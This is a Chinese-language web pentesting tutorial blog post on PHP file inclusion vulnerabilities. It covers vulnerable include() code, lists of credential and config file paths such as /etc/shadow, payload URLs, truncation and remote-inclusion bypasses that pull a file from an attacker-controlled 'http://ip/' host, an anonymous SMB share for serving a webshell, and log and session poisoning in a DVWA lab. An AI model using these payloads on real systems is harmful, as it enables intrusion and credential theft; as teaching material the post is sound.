文件包含漏洞入门级超详细讲解

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
日志服务 SLS,月写入数据量 50GB 1个月
简介: 在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。

> 💕💕💕 博主昵称:摆烂阳💕💕💕

> 🥰[博主主页链接https://blog.csdn.net/qinshuoyang1?type=blog](https://blog.csdn.net/qinshuoyang1?type=blog) 👩‍💻

> 博主研究方向:web渗透测试

> 📃 博主寄语:希望本篇文章能给大家带来帮助,有不足的地方,希望友友们给予指导




————————————————








前言

在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。


一、原理



 随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。





二、文件包含的分类

1、本地文件包含


当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。


2、远程文件包含


原理和本地文件包含类似,差别在于是通过第三方服务器的文件来进行包含。


ps:需要满足以下两个配置文件

   1、在php.ini中allow_url_fopen为ON

   2、在php.ini中allow_url_include为ON


三、常见的文件包含函数


1、include()


当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,然后继续向下执行。


2、include_once()


功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次


3、 require()


Require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。


4、require_once()


功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。



5、highlight_file()、show_source()


函数对文件进行语法高亮显示,通常能看到源代码


6、readfile()、file_get_contents()、


函数读取一个文件,并写入到输出缓冲


7、fopen()


打开一个文件或者url




漏洞代码示例:


   <?php

      $filename  = $_GET['file'];

      include($file);

   ?>

以上代码,对$_GET[‘file’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改file的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;


我们在后面加上我们当前目录的文件1.txt 即可读取1.txt的内容显示出来




ps:


几乎所有的语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞的存在。


四、无限制本地文件包含漏洞


1、原理


> 无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码


2、常见的敏感信息路径

(1).Windows

查看系统版本

c:\boot.ini


Apache配置信息

c:\XX\httpd.conf  


IIS配置文件

c:\windows\system32\inetsrv\MetaBase.xml


存储Windows系统初次安装的密码

c:\windows\repair\sam


MySQL配置

c:\ProgramFiles\mysql\my.ini


MySQL root密码

c:\ProgramFiles\mysql\data\mysql\user.MYD /


php 配置信息

c:\windows\php.ini


(2).Linux/Unix

账户信息

/etc/passwd


账户密码文件

/etc/shadow


Apache配置文件

/etc/httpd/conf/httpd.conf


mysql 配置文件

/etc/my.conf


Apache2默认配置文件

/usr/local/app/apache2/conf/httpd.conf


虚拟网站配置

/usr/local/app/apache2/conf/extra/httpd-vhost.conf


PHP相关配置

/usr/local/app/php5/lib/php.ini



无限制本地文件包含漏洞示例:


  <?php

         $filename  = $_GET['filename'];

         include($filename);

   ?>


利用漏洞读取Mysql配置信息


payload:


  http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini




利用无限制本地包含漏洞执行代码


五、有限制文件包含

1、前言


有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种


测试代码:


  <?php

         $filename  = $_GET['filename'];

         include($filename,".html");

   ?>


## 2、本地限制绕过

### (1)、路径长度截断


条件:


在 windows系统中,文件后缀最大长度256字节,在Linux中最大长度是   4096字节 , 超出的部分会被丢弃


绕过方式:


 .......或者/./.





(2)、00截断


%00是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤


漏洞利用条件:


   (1)    magic_quotes_gpc=off


   (2)    PHP<5.3.4


实操:

![在这里插入图片描述](https://ucc.alicdn.com/images/user-upload-01/bed7a46fb6c245888f195ff4c7f8ac20.png)

3、远程限制绕过


(1)、?绕过


> http://127.0.0.1/test.php?file=http://ip/phpinfo.txt?

(2)、#(%23)绕过

http://127.0.0.1/test.php?file=http://ip/phpinfo.txt%23(#)


(3)、samba绕过

简介:

SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。


攻击场景概述:


当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Webshell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHPWeb shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。


实操:


首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。


先在虚拟机中打开kali,并创建一个共享文件夹,在该文件夹中添加获取phpinfo代码



附赠配置文件


[global] workgroup = WORKGROUP      

server string = Samba Server %v

netbios name = indishell-lab

security = user map to guest = bad user

name resolve order = bcast host

dns proxy = no bind interfaces only =

yes [ica] path = /var/www/html/pub

writable = no guest ok = yes guest

only = yes read

only = yes

directory mode = 0555

六、日志包含


1、简介

> 日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据、诊断问题的追踪以及理解系统的活动等重要作用。


2、利用条件

知道日志文件的存储路径,并且日志文件可读


(1)、apache的日志文件可以通过phpinfo()页面来查询,apache2hander中的server root 就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中

(2)、或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log or access_log ,或者一些默认存储路径。

(3)、也可以通过包含配置文件来确定日志文件路径

Index.php?file=/etc/init.d/httpd

Index.php?file=/etc/httpd/conf/httpd.conf


首先利用burp抓包修改上传名称


跟着找到访问的cookie名称,然后包含日志文件的绝对路径


日志默认存放路径:


apache/logs/error.log或access.log


七、session包含

 1、前言


Session就是保存在服务器的文本文件。 默认情况下,PHP.ini 中设置的 SESSION 保存方式是files(session.save_handler = files),即使用读写文件的方式保存 SESSION 数据,而 SESSION文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSIONID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了


2、利用条件

1、session文件路径已知


session路径位置可以通过phpinfo页面来获取,



session.save_path为/var/lib/php/session.


通过猜测默认的session的存放位置进行尝试


Phpstudy默认session的存储路径为E:\phpStudy\PHPTutorial\tmp\tmp


2、且其中部分内容可控制


在默认的session的文件中,username后面的就是账号,那么能把这个账号控制变化那么就可以利用session包含。



3、实际利用


本次实验使用DVWA靶场

DVWA这个靶场是不满足条件,因为他的session是不可控的。那么我们可以添加一串代码来让他可控。


代码如下:


  <?php

        session_start();

        $ctfs=$_GET['ctfs'];

        $_SESSION["username"]=$ctfs;

   ?>


八、总结

本篇文章耗费三个小时,可谓是呕心沥血,希望可以给大家带来帮助;另外警惕大家,网络并非法外之地,大家要谨遵网络安全法,不做违纪违规的事情!

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
9月前
|
安全 PHP
36、远程文件包含漏洞
36、远程文件包含漏洞
55 0
|
4月前
|
安全 前端开发 Linux
文件包含漏洞
文件包含漏洞
|
开发框架 安全 前端开发
【网络安全】护网系列-web漏洞(文件上传漏洞、文件包含漏洞)
【网络安全】护网系列-web漏洞(文件上传漏洞、文件包含漏洞)
411 0
|
安全 网络安全 开发者
DedeCMS 5.7.106版本存在文件包含漏洞
攻击者可以通过操纵参数allurls来实现代码注入,并最终获得网站的控制权限。在/data/admin/allowurl.txt文件中写入的内容,并没有经过安全过滤,从而导致被成功绕过。由此可见,开发者应该严格限制用户输入的数据,避免类似漏洞的出现,确保网站的安全性和稳定性。
211 0
|
存储 SQL 监控
某xxphp网站后台存储型XSS漏洞分析
某xxphp网站后台存储型XSS漏洞分析
|
存储 安全 Unix
通用漏洞之文件包含漏洞
通用漏洞之文件包含漏洞
263 0
|
安全 网络安全 PHP
文件包含漏洞原理解析_1 | 学习笔记
快速学习 文件包含漏洞原理解析_1
171 0
文件包含漏洞原理解析_1 | 学习笔记
|
机器学习/深度学习 存储 安全
|
开发框架 安全 前端开发
文件上传漏洞入门级教程
文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。

热门文章

最新文章